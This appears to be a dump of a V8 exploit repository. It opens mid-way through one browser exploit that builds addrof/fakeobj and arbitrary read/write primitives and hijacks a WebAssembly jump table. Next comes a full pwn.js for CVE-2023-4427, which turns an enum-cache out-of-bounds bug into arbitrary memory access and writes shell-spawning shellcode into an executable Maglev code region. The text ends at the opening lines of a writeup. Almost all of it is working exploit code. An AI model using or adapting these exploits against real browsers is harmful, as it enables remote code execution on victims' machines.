3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 119 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 120 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 121 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 122 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 123 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 124 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 125 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 126 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 127 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 128 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 129 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 130 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 131 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 132 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 133 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 134 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 135 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 136 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 137 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 138 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 139 | 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270, 3.6943954791292419e-311, 3.7857669981648224e-270,]; 140 | 141 | fake_array = re.lastIndex; 142 | var convert_array = [{}]; 143 | var convert_array2 = [{}]; 144 | fake_array[0] = 1.1; 145 | 146 | backup_arr_ptr = fake_array[0x404]; 147 | obj_map = fake_array[0x403]; 148 | fake_array[0x404] = 3.7857669957336934e-270; 149 | fake_array[0x403] = 3.6943954791292419e-311; 150 | compressed_base = helper.f64toi64(convert_array[0]) >> 32n; 151 | compressed_base <<= 32n; 152 | fake_array[0x404] = backup_arr_ptr; 153 | 154 | function addrof(obj) { 155 | convert_array[0] = obj; 156 | fake_array[0x403] = 3.6943954791292419e-311; 157 | let r = (helper.f64toi64(convert_array[0]) & 0xffffffffn) | (compressed_base); 158 | fake_array[0x403] = obj_map; 159 | return r; 160 | } 161 | 162 | function fakeobj(addr) { 163 | fake_array[0x406] = addr; 164 | return convert_array2[0]; 165 | } 166 | 167 | console.log("[*] test addrof primitive"); 168 | console.log("[+] leaking addrof(fake_array): " + helper.hex((addrof(fake_array)))); 169 | console.log("[+] leaking addrof(convert_array): " + helper.hex((addrof(convert_array)))); 170 | 171 | console.log("[*] test fakeobj primitive"); 172 | var mem_access_array = [3.6943954791292419e-311, 1.6977399608702304e-313]; 173 | addrof_a = addrof(mem_access_array); 174 | let fake_array2 = fakeobj(helper.i64tof64(addrof_a - 0x10n)); 175 | console.log("[+] fakeobj(addrof(a)): " + helper.hex(addrof(fake_array2))); 176 | console.log("[+] length of fake_array2: " + fake_array2.length); 177 | 178 | function arb_read(addr) { 179 | mem_access_array[1] = helper.i64tof64(((addr & 0xffffffffn) - 8n + 1n) | (0x0000001000000000n)); 180 | return helper.f64toi64(fake_array2[0]); 181 | } 182 | 183 | function arb_write(addr, value) { 184 | mem_access_array[1] = helper.i64tof64(((addr & 0xffffffffn) - 8n + 1n) | (0x0000001000000000n)); 185 | fake_array2[0] = helper.i64tof64(value); 186 | } 187 | 188 | console.log(arb_read(addrof(fake_array) - 1n)); 189 | 190 | var wasm_code = new Uint8Array([ 191 | 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x0c, 0x01, 0x60, 0x01, 0x7f, 0x07, 0x7e, 0x7e, 0x7e, 0x7e, 0x7e, 0x7e, 0x7e, 0x03, 0x02, 0x01, 0x00, 0x07, 0x05, 0x01, 0x01, 0x66, 0x00, 0x00, 0x0a, 0x4a, 0x01, 0x48, 0x00, 0x42, 0xb1, 0xec, 0xdb, 0x82, 0x89, 0x92, 0xe4, 0xf5, 0x02, 0x42, 0xbb, 0xdf, 0xbc, 0x99, 0x87, 0x8d, 0xe4, 0xf5, 0x02, 0x42, 0xc8, 0x82, 0x8f, 0x87, 0x92, 0xc6, 0xf4, 0xf5, 0x02, 0x42, 0xb8, 0xdf, 0x88, 0xcb, 0xe6, 0x8d, 0xe4, 0xf5, 0x02, 0x42, 0xc8, 0x92, 0x8c, 0x8e, 0xe3, 0xfe, 0xd4, 0xf5, 0x02, 0x42, 0xc8, 0x92, 0x9e, 0x8f, 0x83, 0x98, 0xe4, 0xf5, 0x02, 0x42, 0xb0, 0xf7, 0xbc, 0xa8, 0x80, 0x92, 0xe4, 0xf5, 0x02, 0x0b, 0x00, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x02, 0x03, 0x01, 0x00, 0x00 192 | ]); 193 | var wasm_mod = new WebAssembly.Module(wasm_code); 194 | var wasm_instance = new WebAssembly.Instance(wasm_mod); 195 | console.log("[+] wasm_instance: " + helper.hex(addrof(wasm_instance))); 196 | jump_table_start = addrof(wasm_instance) - 1n + 0x48n; 197 | const { f } = wasm_instance.exports; 198 | f(); 199 | origin_jump_target = arb_read(jump_table_start); 200 | console.log("[+] origin_jump_target: " + helper.hex(origin_jump_target)); 201 | 202 | var wasm_code2 = new Uint8Array([ 203 | 0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11 204 | ]); 205 | var wasm_mod2 = new WebAssembly.Module(wasm_code2); 206 | var wasm_instance2 = new WebAssembly.Instance(wasm_mod2); 207 | wasm_instance2_addr = addrof(wasm_instance2); 208 | console.log("[+] wasm_instance2: " + helper.hex(wasm_instance2_addr)); 209 | jump_table_start2 = wasm_instance2_addr - 1n + 0x48n; 210 | const f2 = wasm_instance2.exports.main; 211 | arb_write(jump_table_start2, origin_jump_target + 0x81an); 212 | f2(); 213 | 214 | -------------------------------------------------------------------------------- /v8/CVE-2023-4427/pwn.js: -------------------------------------------------------------------------------- 1 | new ArrayBuffer(0x7fe00000); 2 | let fakeobj = null; 3 | var arr_buf = new ArrayBuffer(8); 4 | var arr_buf2 = new ArrayBuffer(8); 5 | var f64_arr = new Float64Array(arr_buf); 6 | var b64_arr = new BigInt64Array(arr_buf); 7 | let u32_arr = new Uint32Array(arr_buf); 8 | function ftoi(f) { 9 | f64_arr[0] = f; 10 | return b64_arr[0]; 11 | } 12 | function itof(i) { 13 | b64_arr[0] = i; 14 | return f64_arr[0]; 15 | } 16 | function smi(i) { 17 | return i << 1n; 18 | } 19 | function hex(i) { 20 | return "0x" + i.toString(16); 21 | } 22 | function gc_minor() { 23 | for (let i = 0; i < 0x100; i++) { 24 | new ArrayBuffer(0x10000); 25 | } 26 | } 27 | 28 | const object1 = {}; 29 | object1.a = 0x4141 | 0; 30 | const object2 = {}; 31 | object2.a = 16705; 32 | object2.b = 3; 33 | const object3 = {}; 34 | object3.a = 4; 35 | object3.b = 5; 36 | object3.c = 6; 37 | 38 | for (let key in object2) { } 39 | 40 | function trigger(callback) { 41 | for (let key in object2) { 42 | callback(object2[key]); 43 | } 44 | } 45 | 46 | 47 | let fake_obj_arr = [ 48 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 49 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 50 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 51 | 123.456, 1.6203561418663524e-310, 13.37, 13.37, 13.37, 13.37, 13.37, 1.1395133238814069e-311, 4.3458484204371709e-311, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 52 | 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 53 | 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 54 | 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 55 | 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 56 | 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 57 | ]; 58 | fake_obj_arr[0] = 123.456; 59 | 60 | for (let i = 0; i < 0x500; i++) { 61 | trigger(_ => _); 62 | trigger(_ => _); 63 | trigger(_ => _); 64 | trigger(_ => _); 65 | } 66 | 67 | new ArrayBuffer(0x7fe00000); 68 | print("[*] test fakeobj is instanceof Array: " + (fakeobj instanceof Array)); 69 | trigger((v) => { 70 | object3.c = 1.1; 71 | for (let key in object1) { } 72 | fakeobj = v; 73 | }); 74 | 75 | print("[*] setup initial fakeobj"); 76 | print("[*] test fakeobj is instanceof Array: " + (fakeobj instanceof Array)); 77 | print("[*] length of fakeobj: " + hex(fakeobj.length)); 78 | 79 | let target_arr0 = [6.9533558079506651e-310, 2.2, 3.3, 4.4]; 80 | let target_arr1 = [13.37, 13.37, 3.3, 4.4]; 81 | let target_arr2 = [13.37, 13.37, 13.37, {}, 13.37, 13.37, 13.37, 13.37]; 82 | let target_arr3 = new Uint32Array(arr_buf2); 83 | 84 | // %DebugPrint(target_arr); 85 | // while(1) { } 86 | 87 | target_arr3[0] = 0x41414141; 88 | target_arr3[1] = 0x42424242; 89 | target_arr3[2] = 0x43434343; 90 | target_arr3[3] = 0x44444444; 91 | 92 | print("[*] set elements address"); 93 | fake_obj_arr[56] = 4.3458484204371709e-311; 94 | for (let i = 0; i < 0x30; ++i) { 95 | print("[*] => fakeobj["+i+"]: "+hex(ftoi(fakeobj[i]))); 96 | } 97 | 98 | heap_addr = ftoi(fakeobj[39]); 99 | print("[+] heap_addr: " + hex(heap_addr)); 100 | fakeobj[39] = itof(heap_addr-0x10n); 101 | 102 | js_heap_low = target_arr3[0]; 103 | js_heap_high = target_arr3[1]; 104 | js_heap = BigInt(js_heap_low) | (BigInt(js_heap_high) << 32n); 105 | print("[+] js_heap: " + hex(js_heap)); 106 | 107 | function addrof(obj) { 108 | target_arr2[0] = obj; 109 | f = ftoi(fakeobj[25]); 110 | return (js_heap & 0xffffffff00000000n) | (f & 0xffffffffn); 111 | } 112 | 113 | function fake_obj(obj_addr) { 114 | f = itof(obj_addr); 115 | fakeobj[25] = f; 116 | return target_arr2[0]; 117 | } 118 | 119 | function arb_read32(addr) { 120 | fakeobj[39] = itof(addr); 121 | return target_arr3[0]; 122 | } 123 | 124 | function arb_write32(addr, val) { 125 | fakeobj[39] = itof(addr); 126 | target_arr3[0] = val; 127 | } 128 | 129 | // trigger MAGLEV 130 | function foo() { 131 | return [ 132 | 1.0, 133 | 1.95538254221075331056310651818E-246, 134 | 1.95606125582421466942709801013E-246, 135 | 1.99957147195425773436923756715E-246, 136 | 1.95337673326740932133292175341E-246, 137 | 2.63486047652296056448306022844E-284]; 138 | } 139 | for (let i = 0; i < 0x1000; i++) { 140 | foo(); 141 | } 142 | 143 | let foo_addr = addrof(foo); 144 | print("[+] foo_addr: " + hex(foo_addr)); 145 | 146 | let maglev_addr = BigInt(arb_read32(foo_addr - 1n + 0xcn)); 147 | maglev_addr |= (js_heap & 0xffffffff00000000n); 148 | print("[+] maglev_addr: " + hex(maglev_addr)); 149 | 150 | let jmp_addr = maglev_addr - 0x1n + 0x10n; 151 | let rwx_addr_low = BigInt(arb_read32(jmp_addr)); 152 | let rwx_addr_high = BigInt(arb_read32(jmp_addr + 4n)); 153 | let rwx_addr = rwx_addr_low | (rwx_addr_high << 32n); 154 | print("[+] rwx_addr: " + hex(rwx_addr)); 155 | 156 | var shellcode = [ 157 | 0x6e69622fb848686an, 158 | 0xe7894850732f2f2fn, 159 | 0x2434810101697268n, 160 | 0x6a56f63101010101n, 161 | 0x894856e601485e08n, 162 | 0x050f583b6ad231e6n 163 | ]; 164 | 165 | for (let i = 0; i < shellcode.length; i++) { 166 | let sc = shellcode[i]; 167 | let sc_low = Number(sc & 0xffffffffn); 168 | let sc_high = Number(sc >> 32n); 169 | arb_write32(rwx_addr + BigInt(i * 8), sc_low); 170 | arb_write32(rwx_addr + BigInt(i * 8 + 4), sc_high); 171 | } 172 | 173 | foo(); 174 | 175 | while(1) { } 176 | // %SystemBreak();% 177 | -------------------------------------------------------------------------------- /v8/CVE-2023-4427/writeup.md: -------------------------------------------------------------------------------- 1 | # CVE-2023-4427 2 | 3 | ## Description 4 | 5 | Out of bounds access in enum cache leads to fake object primitive. 6 | 7 | ## Analysis 8 | 9 | When running code like this: 10 | 11 | ```javascript 12 | obj1 = {} 13 | obj2 = {} 14 | // [1] 15 | 